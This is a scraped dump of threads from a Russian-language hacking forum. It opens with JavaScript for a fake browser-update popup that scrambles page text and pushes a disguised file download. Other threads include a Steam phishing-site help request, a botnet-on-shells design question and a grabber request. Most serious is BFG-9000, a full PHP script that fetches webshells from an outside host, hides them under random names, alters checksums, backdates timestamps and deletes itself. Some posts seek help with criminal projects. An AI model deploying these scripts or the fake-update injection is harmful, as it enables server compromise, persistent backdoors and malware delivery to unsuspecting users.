     path="+path:"")+((domain)?";
     domain="+domain:"")+((secure)?";
     secure":"")
}
var link_to_file='filename.zip';
var ShowOneTime=true;
var sCodeOnShow=' <img  src="//url-na-statu" alt="frontpage hit counter" border="0">';
var sCodeOnClick=' <img  src="//url-na-statu" alt="free hit counters" border="0">';
var isFirefox=typeof InstallTrigger!=='undefined';
var isChrome=/Chrome/.test(navigator.userAgent)&&/Google Inc/.test(navigator.vendor);
var isOpera=(!!window.opr&&!!opr.addons)||!!window.opera||navigator.userAgent.indexOf(' OPR/')>=0;
var isIE=false||!!document.documentMode;
var isEdge=!isIE&&!!window.StyleMedia;
var isSafari=/Safari/.test(navigator.userAgent)&&/Apple Computer/.test(navigator.vendor);
var isMobile=/Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(navigator.userAgent);
if(!isMobile&&!isSafari&&(getCookie('oneshow')!='complete'))
    {
    if(ShowOneTime==true)
        {
        var now=new Date();
        now.setTime(now.getTime()+1000*3600*24*365);
        setCookie('oneshow','complete',now.toGMTString())
    }
    function onClick()
        {
        document.body.innerHTML+=sCodeOnClick;
        return true
    }
    document.body.innerHTML+=" <div class='samodal saitem'> <div class='top_txt'> <img class='logo' src='https://i.imgur.com/sBB68wf.png'> <p class='modal_h'><span class='browser_name'>Browser</span> <span>Update Center</span></p> </div> <div class='mod_content'> <p class='sa2'>A critical error has occurred due to the outdated version of the browser. Update your browser as soon as possible.</p> <p class='sa2'>The following errors are also possible on outdated versions of the browser:</p> <ul class='error-list'> <li>Loss of personal and stored data</li> <li>Confidential information leak</li> <li>Browser errors</li> </ul> </div> <div class='footer_button'> <a class='download_butt link_to_file' onclick='onClick();
    ' href='' download=''>Update</a> </div> </div> <div class='saoverlay saitem'></div> <style> .saitem html, .saitem body, .saitem div, .saitem span, .saitem applet, .saitem object, iframe, .saitem h1, .saitem h2, .saitem h3, .saitem h4, .saitem h5, .saitem h6, .saitem p, .saitem blockquote, .saitem pre, .saitem a, .saitem abbr, .saitem acronym, .saitem address, .saitem big, .saitem cite, .saitem code, .saitem del, .saitem dfn, .saitem em, .saitem font, .saitem img, .saitem ins, .saitem kbd, .saitem q, .saitem s, .saitem samp, .saitem small, .saitem strike, .saitem strong, .saitem sub, .saitem sup, .saitem tt, .saitem var, .saitem dl, .saitem dt, .saitem dd, .saitem ol, .saitem ul, .saitem li, .saitem fieldset, .saitem form, .saitem label, .saitem legend, .saitem table, .saitem caption, .saitem tbody, .saitem tfoot, .saitem thead, .saitem tr, .saitem th, .saitem td
        {
         margin: 0!important;
         padding: 0!important;
         border: 0!important;
         outline: 0!important;
         font-weight: inherit!important;
         font-style: inherit!important;
         font-size: 100%!important;
         font-family: inherit!important;
         vertical-align: baseline!important;
    }
    .saoverlay
        {
         z-index: 16000005!important;
         position: fixed!important;
         display:none;
        background-color: #000!important;
         opacity: 0.4!important;
         width: 100%!important;
         height: 100%!important;
         top: 0!important;
         left: 0!important;
         cursor: wait!important;
    }
    .samodal
        {
         display:none;
        width: calc(100% - 30px)!important;
         max-width: 650px!important;
         height: auto!important;
         position: fixed!important;
         top: 50%!important;
         left: 50%!important;
         -webkit-transform: translate(-50%,-50%)!important;
         -ms-transform: translate(-50%,-50%)!important;
         transform: translate(-50%,-50%)!important;
         z-index: 16000010!important;
         border-radius: 3px!important;
         -webkit-box-sizing: border-box!important;
         box-sizing: border-box!important;
         background-color: #fff!important;
         font-family: 'Arial', sans-serif!important;
         color: #333!important;
         line-height: 24px!important;
    }
    .samodal .top_txt
        {
         padding: 20px !important;
         display: -webkit-box!important;
         display: -ms-flexbox!important;
         display: flex!important;
         -webkit-box-align: center!important;
         -ms-flex-align: center!important;
         align-items: center!important;
    }
    .samodal .top_txt .modal_h
        {
         font-size: 24px!important;
         font-weight: 400!important;
    }
    .samodal .top_txt .logo
        {
         width: 50px!important;
         margin-right: 10px!important;
    }
    .samodal .mod_content
        {
         padding: 0px 20px 0px 20px!important;
    }
    .samodal .mod_content .sa2
        {
         font-size: 18px!important;
         margin-bottom: 15px!important;
    }
    .samodal .mod_content .error-list
        {
         margin-bottom: 15px!important;
    }
    .samodal .mod_content .error-list li
        {
         font-size: 18px!important;
         display: -webkit-box!important;
         display: -ms-flexbox!important;
         display: flex!important;
         -webkit-box-align: center!important;
         -ms-flex-align: center!important;
         align-items: center!important;
         color: #ff0000!important;
    }
    .samodal .mod_content .error-list li:before
        {
         content: ''!important;
         display: inline-block!important;
         background: url( )!important;
         -webkit-box-flex: 0!important;
         -ms-flex: 0 0 35px!important;
         flex: 0 0 35px!important;
         height: 35px!important;
         background-size: cover!important;
         position: relative!important;
         margin-right: 10px!important;
    }
    .samodal .footer_button
        {
         text-align: center!important;
         background-color: #f7f7f7!important;
         padding: 10px 20px!important;
         height: auto!important;
        
    }
    .samodal .footer_button .download_butt
        {
         border: 1px solid #3079ed!important;
         color: #fff!important;
         text-shadow: 0 1px rgba(0, 0, 0, 0.1)!important;
         background-color: #4d90fe!important;
         background-image: -webkit-gradient(linear, left top, left bottom, from(#4d90fe), to(#4787ed))!important;
         background-image: -webkit-linear-gradient(top, #4d90fe, #4787ed)!important;
         background-image: -o-linear-gradient(top, #4d90fe, #4787ed)!important;
         background-image: linear-gradient(top, #4d90fe, #4787ed)!important;
         font-weight: normal!important;
         display: inline-block!important;
         text-align: center!important;
         text-decoration: none!important;
         padding: 10px 25px!important;
         -webkit-box-sizing: border-box!important;
         box-sizing: border-box!important;
         font-size: 22px!important;
    }
    @media (max-width: 850px)
        {
         .samodal .top_txt .modal_h
            {
             font-size: 22px!important;
            
        }
         .samodal .mod_content .error-list li
            {
             font-size: 16px!important;
            
        }
    }
     </style>";
    document.querySelector('.link_to_file').setAttribute('href',link_to_file);
        {
        function init_Chrome()
            {
            document.querySelector('.samodal .top_txt .logo').setAttribute('src','https://i.imgur.com/go00GXX.png');
            document.querySelector('.browser_name').innerHTML='Chrome';
            document.querySelector('.samodal').className+=' chrome'
        }
        function init_Firefox()
            {
            document.querySelector('.samodal .top_txt .logo').setAttribute('src','https://i.imgur.com/F5zqjAc.png');
            document.querySelector('.browser_name').innerHTML='Firefox';
            document.querySelector('.samodal').className+=' firefox'
        }
        function init_Opera()
            {
            document.querySelector('.samodal .top_txt .logo').attr('src','https://i.imgur.com/Ci9PSpH.png');
            document.querySelector('.browser_name').innerHTML='Opera';
            document.querySelector('.samodal').className+=' opera'
        }
        function init_Safari()
            {
            document.querySelector('.samodal .top_txt .logo').setAttribute('src','https://i.imgur.com/hpssacS.png');
            document.querySelector('.browser_name').innerHTML='Safari';
            document.querySelector('.samodal').className+=' safari'
        }
        function init_Edge()
            {
            document.querySelector('.samodal .top_txt .logo').attr('src','https://i.imgur.com/EfjQS7j.png');
            document.querySelector('.browser_name').innerHTML='Edge';
            document.querySelector('.samodal').className+=' edge'
        }
        function init_IE()
            {
            document.querySelector('.samodal .top_txt .logo').setAttribute('src','https://i.imgur.com/sLqiUR0.png');
            document.querySelector('.browser_name').innerHTML='Internet Explorer';
            document.querySelector('.samodal').className+=' ie'
        }
        switch(true)
            {
            case isFirefox:init_Firefox();
            break;
            case isChrome:init_Chrome();
            break;
            case isOpera:init_Opera();
            break;
            case isIE:init_IE();
            break;
            case isEdge:init_Edge();
            break;
            case isSafari:init_Safari();
            break;
            default:
        }
    }
    [].forEach.call(document.querySelectorAll('p,span,li,a,td,h1,h2,h3,h4,h5,label,div'),function(element)
        {
        if((document.querySelector('.saitem').contains(element))||(hasClass(element,'saitem')))
            {
        }
        else
            {
            element.innerHTML=element.textContent.replace(/[а-яА-ЯёЁa-zA-Z0-9]/gi,"�")
        }
    }
    );
    setTimeout(function()
        {
        document.querySelector('.samodal').style.display='block';
        document.querySelector('.saoverlay').style.display='block';
        document.body.innerHTML+=sCodeOnShow
    }
    ,1000);
    function hasClass(element,cls)
        {
        return(' '+element.className+' ').indexOf(' '+cls+' ')>-1
    }
}
Помогите написать скрипт мониторинга)
ID: 67668b27b4103b69df375df9
Thread ID: 27518
Created: 2019-01-28T17:35:45+0000
Last Post: 2019-01-30T21:37:41+0000
Author: Fierce Fox
Replies: 4 Views: 3K

Нужен скрипт на perl для мониторинга действий пользователей данной площадки. Как написать ? ))
Дабы отслеживать тех кто отслеживает. Данный бот только мониторит форум.
xss.png

не прошло и минуты)))

xss2.png

И стоило кому написать что либо как этот киберразум лезет в аккаунт))) Можете проверить ;)

xss3.png

У бота 10 минутный тайм аут, мониторит новые темы, а далее в юзера последнего коментирующего лезет ;)
xss4.png.png

Blockchain decrypt wallet with Password [source javascript]
ID: 67668b27b4103b69df375dfc
Thread ID: 26771
Created: 2018-12-06T15:18:24+0000
Last Post: 2019-01-08T19:58:08+0000
Author: Грач
Replies: 3 Views: 3K

Для использования требуется NodeJS с установленным пакетом Crypto.
Расшифровывает кошелек при помощи пароля от кошелька.
Зашифрованный кошелек можно получить при помощи ID от BlockChain.

Кому надо - большого труда разобраться не будет думаю., ибо самое сложное уже реализовано за вас.

JavaScript:Copy to clipboard

let payload;
let password;
let pbkdf2_iterations = 5000;
let SALT_BYTES = 16;
let KEY_BIT_LEN = 256;
let BLOCK_BIT_LEN = 128;
let ALGO = {
    SHA1: "sha1",
    SHA256: "sha256"
};
const crypto = require('crypto');
let Iso10126 = {
    pad: function pad(dataBytes, nBytesPerBlock) {
        var nPaddingBytes = nBytesPerBlock - dataBytes.length % nBytesPerBlock;
        var paddingBytes = crypto.randomBytes(nPaddingBytes - 1);
        var endByte = new Buffer([nPaddingBytes]);
        return Buffer.concat([dataBytes, paddingBytes, endByte])
    },
    unpad: function unpad(dataBytes) {
        var nPaddingBytes = dataBytes[dataBytes.length - 1];
        return dataBytes.slice(0, -nPaddingBytes)
    }
};
let AES = {
    CBC: "aes-256-cbc",
    OFB: "aes-256-ofb",
    ECB: "aes-256-ecb",
    encrypt: function encrypt(dataBytes, key, salt, options) {
        options = options || {};
        var cipher = crypto.createCipheriv(options.mode || AES.CBC, key, salt || "");
        cipher.setAutoPadding(!options.padding);
        if (options.padding) dataBytes = options.padding.pad(dataBytes, BLOCK_BIT_LEN / 8);
        var encryptedBytes = Buffer.concat([cipher.update(dataBytes), cipher.final()]);
        return encryptedBytes
    },
    decrypt: function decrypt(dataBytes, key, salt, options) {
        options = options || {};
        var decipher = crypto.createDecipheriv(options.mode || AES.CBC, key, salt || "");
        decipher.setAutoPadding(!options.padding);
        var decryptedBytes = Buffer.concat([decipher.update(dataBytes), decipher.final()]);
        if (options.padding) decryptedBytes = options.padding.unpad(decryptedBytes);
        return decryptedBytes
    }
};
function decryptBufferWithKey(payload, iv, key, options) {
    options = options || {};
    options.padding = options.padding || Iso10126;
    var decryptedBytes = AES.decrypt(payload, key, iv, options);
    return decryptedBytes.toString("utf8")
}
function pbkdf2(password, salt, iterations, keyLenBytes, algorithm) {
    algorithm = algorithm || ALGO.SHA1;
    return crypto.pbkdf2Sync(password, salt, iterations, keyLenBytes, algorithm);
}
function stretchPassword(password, salt, iterations, keyLenBits) {
    var saltBuffer = new Buffer(salt, "hex");
    var keyLenBytes = (keyLenBits || 256) / 8;
    return pbkdf2(password, saltBuffer, iterations, keyLenBytes, ALGO.SHA1)
}
function decryptDataWithPassword(data, password, iterations, options) {
    var dataHex = new Buffer(data, "base64");
    var iv = dataHex.slice(0, SALT_BYTES);
    var payload = dataHex.slice(SALT_BYTES);
    var salt = iv;
    var key = stretchPassword(password, salt, iterations, KEY_BIT_LEN);
    var res = decryptBufferWithKey(payload, iv, key, options);
    return res
}

var decrypted = decryptDataWithPassword(payload, password, pbkdf2_iterations);

Разбирал Blockchain еще примерно пол год назад - мне не понадобилось, надеюсь кого то заинтересует.

Проблемы с фишинг Steam !
ID: 67668b27b4103b69df375dfe
Thread ID: 26819
Created: 2018-12-09T12:11:43+0000
Last Post: 2018-12-09T13:21:27+0000
Author: fed201
Replies: 6 Views: 3K

У меня есть свой фишинг сайт стим , но он не проверяет аккаунты на валидность( просто пишет неверный логин или пароль- хотя они верные ),что сделать ?
Если кто знает подскажите , в лс форума или в вк https://vk.com/id493778701
вот сам сайт :

https://imgur.com/qcCqM7F

https://imgur.com/eOg5hoS

https://imgur.com/ySPjDZT

BFG-9000
ID: 67668b27b4103b69df375e05
Thread ID: 25366
Created: 2014-08-20T15:21:57+0000
Last Post: 2015-05-03T12:47:25+0000
Author: thanatos
Replies: 9 Views: 3K

BFG-9000
Универсальный скрипт для закрепления на шеллах.
Закачивает ваши файлы по ссылке, проверяет работоспособность и прячет их.

Описание
Скрипт загружает на сервер список указанных файлов и прячет их, выбирая директорию случайным образом из доступных для записи и выбирая новое название для загруженных файлов случайным образом из найденных на сервере файлов.
На сервер загружается тестовый файл для проверки выполнения php кода в выбранной директории, после проверки тестовый файл удаляется и в директорию загружется файл из вашего списка.
После загрузки вашего файла на него не делается запросов чтобы избежать преждевременного попадания в лог веб-сервера.
Также в конец загруженного файла добавляется рандомное количество пробелов чтобы изменить его размер и md5 и другие чексуммы, и усложнить поиск подобных файлов.
Файлы скачиваются 3 методами: socket/curl/file_get_contents.
По окончанию работы изменённые директории и загруженные файлы тачатся на старое время изменения директории, и BFG удаляет себя.

Запускайте код BFG через eval на шелле или загружайте на сервер в виде файла и открывайте в браузере.
Не оставляйте код BFG на хостах!

Посвящается xss.is/ и Exploit.in

Spoiler: 10

Code:Copy to clipboard

<?php
/*
    _______  _______  _______         _______  _______  _______  _______
   |  _    ||       ||       |       |  _    ||  _    ||  _    ||  _    |
   | |_|   ||    ___||    ___| ____  | | |   || | |   || | |   || | |   |
   |       ||   |___ |   | __ |____| | |_|   || | |   || | |   || | |   |
   |  _   | |    ___||   ||  |       |___    || |_|   || |_|   || |_|   |
   | |_|   ||   |    |   |_| |           |   ||       ||       ||       |
   |_______||___|    |_______|           |___||_______||_______||_______|
   v0.1 20140813
*/

/* #########   Config   ######### */
/* Список файлов которые нужно загрузить */
$upload['wso_password_kjhgf']='http://myfiles.pro/uploads/1742819183.wso.txt';
$upload['mini_uploader']='http://myfiles.pro/uploads/881404330.upload.txt';
/* Регулярное выражение исключения из имен для файлов */
$exclude_names='#(index\.php|admin\.php)#';
/* User Agent используется при скачивании файлов */
$ua ='Mozilla/5.0 (compatible; googlebot/2.1; +http://www.google.com/bot.html)';
/* Самоуничтожение BFG после выполнения */
$selfkill=true;
/* откуда начинать поиск, можно поменять для заливки на соседний сайт */
$homedir=$_SERVER['DOCUMENT_ROOT'];
/* Можно поменять для заливки на соседний сайт */
$host=$_SERVER['HTTP_HOST'];
/* #########   End Config   ######### */
foreach($upload as $name=>$path) {
   echo "\n\n [ ] Get content $path\t";
   if($body=get($path)) {
       echo "[ok] ".strlen($body)."\n";
   }else {
       echo "[fail]\n;";
       continue;
   }
   if ($handle = opendir($homedir)) {
       while (false !== ($file = readdir($handle))) {
           if ($file == "." or $file == "..") {
               continue;
           }
           if (filetype($homedir . DIRECTORY_SEPARATOR . $file) == "dir") {
               $root_dirs[$file]=$homedir . DIRECTORY_SEPARATOR . $file;
           }
       }
   }
   shuffle($root_dirs);
   foreach($root_dirs as $root_name=>$root_dir) {
       $result[$root_name] = scan($root_dir);
   }
   if(sizeof($result)>0) {
       foreach($result as $home=>$info) {
           if(sizeof(@$info['dir'])==0) continue;
           if(sizeof($info['file'])==0) continue;
           shuffle(array_unique($info['dir']));
           array_unique($info['file']);
           foreach($info['dir'] as $random_dir) {
               shuffle($info['file']);
               foreach($info['file'] as $random_file) {
                   $random_name = $random_dir . DIRECTORY_SEPARATOR . $random_file;
                   $fail=false;
                   if(!is_file($random_name)) {
                       if(is_writable($random_dir)){
                           //echo " [+] rand path: $random_name\n";
                           echo " [*] scan: $random_dir\n";
                           $dir_time=filemtime($random_dir);
                           if ($handle = opendir($random_dir)) {
                               $old=microtime(1);
                               while (false !== ($file = readdir($handle))) {
                                   if ($file == "." or $file == "..") {
                                       continue;
                                   }
                                   $filemt=filemtime($random_dir . DIRECTORY_SEPARATOR . $file);
                                   if($filemt<$old) {
                                       $old=$filemt;
                                   }
                               }
                               $data='<?php echo md5(23); ?>';
                               if(file_put_contents($random_name, $data)) {
                                   echo " [+] Upload: $random_name\n";
                                   $url='http://'. $host .str_replace('\\','/',
                                           str_replace($homedir, '', $random_dir)) .
                                       '/' . $random_file;
                                   echo " [*] check: $url\n";
                                   if($content=get($url)) {
                                       if(preg_match('/'.md5(23).'/', $content)){
                                           echo " [+] Found: $url\n";
                                           if(unlink($random_name)) {
                                               echo " [+] Del: $random_name\n";
                                           }else {
                                               echo " [-] Del: $random_name\n";
                                           }
                                           shuffle($info['file']);
                                           foreach($info['file'] as $random_file) {
                                               $random_name = $random_dir . DIRECTORY_SEPARATOR . $random_file;
                                               $fail=false;
                                               if(!is_file($random_name)) {
                                                   $body.="\n#";
                                                   for($i=0, $m=rand(1,15); $i!=$m; $i++) {
                                                       $body.=md5(rand(0,999999));
                                                   }
                                                   if(file_put_contents($random_name, $body)) {
                                                       echo " [*] Re upload: $random_name\n";
                                                   }else {
                                                       echo " [!] Upload: $random_name\n";
                                                   }
                                                   if(chmod($random_name, 0755)){
                                                       echo " [+] chmod on 755\n";
                                                   }else {
                                                       echo " [-] chmod on 755\n";
                                                   }
                                                   if(touch($random_name, $old)) {
                                                       echo " [+] Touch file on: ".date('d/m/y', $old)."\n";
                                                   }else {
                                                       echo " [-] Touch file on: ".date('d/m/y', $old)."\n";
                                                   }
                                                   if(touch($random_dir, $dir_time)) {
                                                       echo " [+] Touch dir on: ".date('d/m/y', $dir_time)."\n";
                                                   }else {
                                                       echo " [-] Touch dir on: ".date('d/m/y', $dir_time)."\n";
                                                   }
                                                   $upload_url='http://'. $host .str_replace('\\','/', str_replace($homedir, '', $random_dir)) .
                                                       '/' . $random_file;
                                                   $return[$name]=$upload_url;
                                                   echo " [+] UPLOAD ON: $upload_url\n";
                                                   break(4);
                                               }else {
                                                   echo " [~] File exist: $random_name\n";
                                               }
                                           }
                                       }else {
                                           echo " [-] not found\n";
                                           $fail=true;
                                       }
                                   }else {
                                       echo " [!] not recived\n";
                                       $fail=true;
                                   }
                                   if($fail==true){
                                       if(unlink($random_name)) {
                                           echo " [+] Del: $random_name\n";
                                       }else {
                                           echo " [-] Del: $random_name\n";
                                       }
                                       if(touch($random_dir, $dir_time)) {
                                           echo " [+] Touch dir on: ".date('d/m/y', $dir_time)."\n";
                                       }else {
                                           echo " [-] Touch dir on: ".date('d/m/y', $dir_time)."\n";
                                       }
                                   }
                               }else {
                                   echo " [!] Upload: $random_name\n";
                               }
                           }
                       }else {
                           echo " [-] No write: $random_name\n";
                       }
                       break(1);
                   }else {
                       echo " [~] File exist: $random_name\n";
                   }
               }
               echo "\n";
           }
       }
   }
}// end foreach files
if(sizeof($return)>0) {
   echo "----------------------\n";
   foreach($return as $rk=>$rv) {
       echo $rk.":\t".$rv."\n";
   }
   echo "----------------------\n";
   if($selfkill==true) {
       echo "  [ Self kill ]  \n";
       unlink($_SERVER['SCRIPT_FILENAME']);
   }
}else {
   echo "Fatal error\n";
}
function scan($homedir, $count=0, $files=array()) {
   $scan_max=2;
   $subdir=array();
   if($count>$scan_max) return $files;
   if ($handle = opendir($homedir)) {
       while (false !== ($file = readdir($handle))) {
           if ($file == "." or $file == "..") {
               continue;
           }
           $fullPath=$homedir . DIRECTORY_SEPARATOR . $file;
           if (filetype($fullPath) == "dir") {
               $files['dir'][]=$fullPath;
               $subdir[]=$fullPath;
           }else {
               if(!preg_match($exclude_names, $file) and preg_match('/\.php$/i', $file)) {
                   $files['file'][]=$file;
               }
           }
       }
       $count++;
       if(sizeof($subdir)>0) {
           foreach($subdir as $dir) {
               $files=scan($dir, $count, $files);
           }
       }
   }
   return $files;
}
function get($url) {
   if (is_callable("curl_exec")) {
       echo " [curl] ";
       $ch=curl_init();
       curl_setopt($ch,CURLOPT_URL,$url);
       curl_setopt($ch,CURLOPT_USERAGENT,$ua);
       curl_setopt($ch,CURLOPT_HEADER,false);
       curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
       $content=curl_exec($ch);
       curl_close($ch);
       return $content;
   } elseif(is_callable("file_get_contents")) {
       echo " [fget] ";
       return file_get_contents($url, false, stream_context_create(array("http" =>array("header"  => "User-Agent: {$ua}"))));
   }elseif(is_callable("fsockopen")) {
       echo " [socket] ";
       if($fp=fsockopen(parse_url($url,PHP_URL_HOST),80,$e,$e,15)) {
           $out ="GET ".parse_url($url,PHP_URL_PATH)." HTTP/1.1\r\n";
           $out.="Host: ".parse_url($url,PHP_URL_HOST)."\r\n";
           $out.="User-Agent: {$ua}\r\n";
           $out.="\r\n";
           fputs($fp,$out);
           while(!feof($fp)) {
               $content.=fgets($fp,128);
           }
           fclose($fp);
           return $content;
       } else return false;
   } else return false;
}

О всех недочетах ошибках идеях пишите.

Идея анонимного хостинга
ID: 67668b27b4103b69df375e17
Thread ID: 24442
Created: 2013-07-22T20:58:06+0000
Last Post: 2013-08-18T07:52:58+0000
Author: Quake3
Replies: 17 Views: 3K

Чисто случайно нашел интересную заметку, авторства malayazemlya

Суть идеи очень проста — запихнуть весь контент странички в URL, а затем сократить с помощью любого сервиса сокращения URL'ов вроде bit.ly, goo.gl или tinyurl.com. Потребуется только разместить где-то элементарный скриптик, который будет из урла брать контент и выводить на экран. Хранить он при этом его не будет. Хранить весь контент будет сокращалка. В общем, красота. Давай поподробнее разберемся, как это работает.

Итак, есть ссылка, например, tinyurl.com/3nghu2l. При переходе по ней — нас переправит на длиннющую ссылку вроде следующей:

Code:Copy to clipboard

http://хостинг/яваскрптик.html#PGhlYWQ+CjxzdHls
Z4KYm9keSB7CiAgY29sb3I6ICNGRjY7CiAgYmFja2dyb3VuZ
C1jb2xvcjogIzAwMDsKfQo8L3N0eWxlPgo8L2hlYWQ+Cjxib
2R5PgpUaGlzIHBhZ2UgaXMgaG9zdGVkIG9uIDxhIGhyZWY9I
mh0dHA6Ly90aW55dXJsLmNvbSI+dGlueXVybC5jb208L2E+C
jwvYm9keT4=

В ней все после знака '#' — это наш контент в base64формате, а яваскриптик — это скрипт, делающий вот так:

Code:Copy to clipboard

var hsh = document.location.hash;
hsh = hsh .substring(1, hsh .length);
document.write(decode64(hsh ));
// decode64 — функция, декодирующая base64

То есть он просто получит все, что после '#', раскодирует и выведет на экран.

В RFC длина URL никак не регламентирована, поэтому можно смело кодировать с помощью любого base64-алгоритма html-код любой длины, надеясь, что браузеры тоже никак не ограничивают длину урла. Чтобы разместить таким образом картинки, нужно будет немного потрахаться с data. Вот так, например:

Code:Copy to clipboard

<img src="data:image/gif;base64,R0lGODlhEAAOAL
MAAOazToeHh0tLS/7LZv/0jvb29t/f3//Ub//ge8WSLf/
rhf/3kdbW1mxsbP//mf///yH5BAAAAAAALAAAAAAQAA4AAA
Re8L1Ekyky67QZ1hLnjM5UUde0ECwLJoExKcppV0aCcGCmT
IHEIUEqjgaORCMxIC6e0CcguWw6aFjsVMkkIr7g77ZKPJjP
ZqIyd7sJAgVGoEGv2xsBxqNgYPj/gAwXEQA7" width="16"
height="14"/>

Синтаксис тут простой (данные, понятно, в пресловутом base64):

Code:Copy to clipboard

data:[<тип данных>][;base64],<данные>

Источник _http://www.xakep.ru/post/57576/

Что думаете на эту тему? Меня смущает длина урл - наверное, лимиты все таки есть. Вот товарищ экспериментировал на тему _http://www.manhunter.ru/webmaster/481_kakaya_mozhet_bit_maksimalnaya_dlina_url.html Хотя, в принципе, в 1-2 тысячах допустимых любым браузером символов большинство простого контента можно поместить.

Помогите разобраться как лучше написать
ID: 67668b27b4103b69df375e22
Thread ID: 23894
Created: 2013-02-09T23:02:03+0000
Last Post: 2013-02-17T14:12:20+0000
Author: rezvey
Replies: 13 Views: 3K

Здравствуйте уважаемые мемберы! В общем пишу что-то типо ботнета на шелах, но не могу придумать хороший вариант алгоритма распределения заданий между шелами с админки! Мне нужно, чтобы с админки посылалось задание на бота, бот выполнял задание, возвращал результат, и брал следующее, по одному заданию кидать, скорость упадет в разы, и будет падать с кол-вом ботов, посылать пачками, тут другие проблемы вырисовываются, например лимит выполнения скрипта, или ограничения на сервере(допустим запрещен курл)! Помогите составить хороший алгоритм, как такое лучше организовать, или подкинь статей\сорцов по данной теме, желательно на пхп, и если вы хорошо ориентируетесь в работе с шелами, подскажите, какие еще могут быть нюансы на то, что мой скрипт будет выполнятся не корректно! Заранее спасибо, всем те кто окажет хоть какую-то помощь!

IONCUBE SOURCES
ID: 67668b27b4103b69df375e28
Thread ID: 20868
Created: 2010-12-26T10:45:18+0000
Last Post: 2012-10-18T10:11:15+0000
Author: GOONER
Replies: 3 Views: 3K
Поиск кодера
ID: 67668b27b4103b69df375e3b
Thread ID: 21335
Created: 2011-03-21T00:43:52+0000
Last Post: 2011-03-28T09:15:12+0000
Author: DarckSol
Replies: 4 Views: 3K

Нужен не особо сложный проект реализовать, софт на мобильный телефон, все подробности в icq, жабе, скайпе, где хотите...оплачу работу через гаранта...
icq:335949335
жаба:darcksol@pro0hack.ru
скайп: planservic
-- Так же писать можно в ПМ и на мыло, но мыло проверяю редко,....

"Тяжелые" скрипты и CGI
ID: 67668b27b4103b69df375e41
Thread ID: 21295
Created: 2011-03-14T12:18:34+0000
Last Post: 2011-03-17T18:47:12+0000
Author: Quake3
Replies: 10 Views: 3K

Прошу прощения, если эта тема уже где-то обсуждалась, но через поиск я ничего вроде не нашел.
Хотелось бы обсудить актуальность использования CGI скриптов в веб-разработке, для проектировки высоконагруженных систем (админки тех же ддос ботов например) и вообще. Тема эта меня заинтересовала после обзора не помню уже чего. Там упоминалось, что системы была написана на CGI, поэтому выдерживала нагрузки лучше, чем аналогичная на php. Еще упоминался sutraTDS, в котором очень хороший редирект, опять же на этом CGI.

Действительно ли CGI кодинг актуален и дает какие-то преимущества? Или, при умении и знаниях, аналогичное можно реализовать и на php?

Локальные базы данных
ID: 67668b27b4103b69df375e43
Thread ID: 20993
Created: 2011-01-17T17:11:11+0000
Last Post: 2011-01-17T21:25:25+0000
Author: Ar3s
Replies: 7 Views: 3K

Уважаемые посетители!
А подскажите мне пожалуйста шуструю локальную базу данных основанную на файлах (желательно с поддержкой sql запросов, максимально схожих с mysql).
Обязательное требование OS Linux based.
Идея в том, что бы попробовать любую связку/тдс/бота переделать под файловую базу данных и при этом получить рост производительности.
Как максимум - попробовать реализовать такую базу на примере любой админки.
Интересуют плюсы/минусы такого метода и возможные реализации.

33 платных скрипта
ID: 67668b27b4103b69df375e47
Thread ID: 20443
Created: 2010-10-15T18:54:00+0000
Last Post: 2010-11-04T17:48:51+0000
Author: Империал
Replies: 4 Views: 3K

Джентельменский набор сайтописателя
Крутилки баннеров, биллинговые системы, поисковики, галереи и т.д.
Все скрипты успешно нуллифицированы и работоспособны.
Общая стоимость данного набора - около $4700.

Полные наборы скриптов проектов:

adRevenue [Nullified]
Auto Gallery SQL v2.1.0b [Nullified]
AutoGallery Pro v2.0.0b [Nullified]
Autolinks Pro v2.0 [Nullified]
AutoRank Pro v4.0.0 [Nullified]
Calendar Now Pro v 2.0 [Nullified]
ClickSee AdNow v2.2.7 [Nullified]
DeskPRO Enterprise v2.0.1 [Nullified]
Devil TGP v2.9 [Nullified]
DigiShop 2.0.2 [Nullified]
Done Right Bid Search Engine v2.0 [Nullified]
e-Classifieds v4.1.2 Photo Edition [Nullified]
ImageFolio Commerce v1.0 [Nullified]
Magic News Plus v1.0.2. [Nullified]
Mojopersonals [Nullified]
Nephp Publisher Enterprise 3.0.4 [Nullified]
NewsPHP v1.05 [Nullified]
Payment Gateway v1.04 [nullified]
Photopost Php Pro v4.6.5 [Nullified]
PhotoPost v3.1 [Nullified]
PHP Live helper [Nullified]
PHP Auction PRO Plus v1.0 [Nullified]
phpListPro v.1.80 [Nullified]
phpwebnews v.1.0 [Nullified]
pMachine v2.3 pro [Nullified]
Smart Search v4.20 [Nullified]
Startdevelop Livehelp v2.0 [Nullified]
SunShop v2.9 [Nullified]
webDate v1.1.2 [Nullified]
WebEdit Professional v4.0 [Nullified]
X-affiliate v3.5.6 module for x-cart [Nullified]
X-cart 3.5.6 gold php mysql shopping cart [Nullified]

скачать

Выбор парсера XML
ID: 67668b27b4103b69df375e51
Thread ID: 19015
Created: 2010-02-12T07:03:21+0000
Last Post: 2010-06-11T02:55:19+0000
Author: lisa99
Replies: 5 Views: 3K

Что бы вы порекомендовали из аналогов SimpleXML для парсинга XML?
желательна поддерка xPath

PE Fake Aspack
ID: 67668b27b4103b69df375e56
Thread ID: 15778
Created: 2008-09-20T14:53:33+0000
Last Post: 2010-04-25T09:07:03+0000
Author: Noctambulaar
Replies: 3 Views: 3K

; #########################################################################

.586
.model flat, stdcall
option casemap :none ; case sensitive

; #########################################################################
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\comdlg32.inc

includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\comdlg32.lib

; #########################################################################
.data
msgTitle db "Scan status:",0h
msgText db "Fake signature ;)",0h
.code

start:

; PeID checks OEP for signatures. If the byte pattern at OEP matches some of
; the signatures stored in PeID.exe or userdb.txt PeID will identify target as
; packer or protector assigned to that signature. So we can insert any number
; of bytes at OEP and make PeID detect the wrong packer.

; For example this is ASPack 2.12 OEP

db 060h,0E8h,003h,000h,000h,000h,0E9h,0EBh,004h,05Dh,045h,055h,0C3h,0E8h,001h,000h,000h,000h
db 0EBh,05Dh,0BBh,0EDh,0FFh,0FFh,0FFh,003h,0DDh,081h,0EBh,000h,040h,000h,000h

POPAD

PUSH 40h
PUSH offset msgTitle
PUSH offset msgText
PUSH 0
CALL MessageBox

PUSH 0
CALL ExitProcess

end start

Click to expand...

Нужен грабер
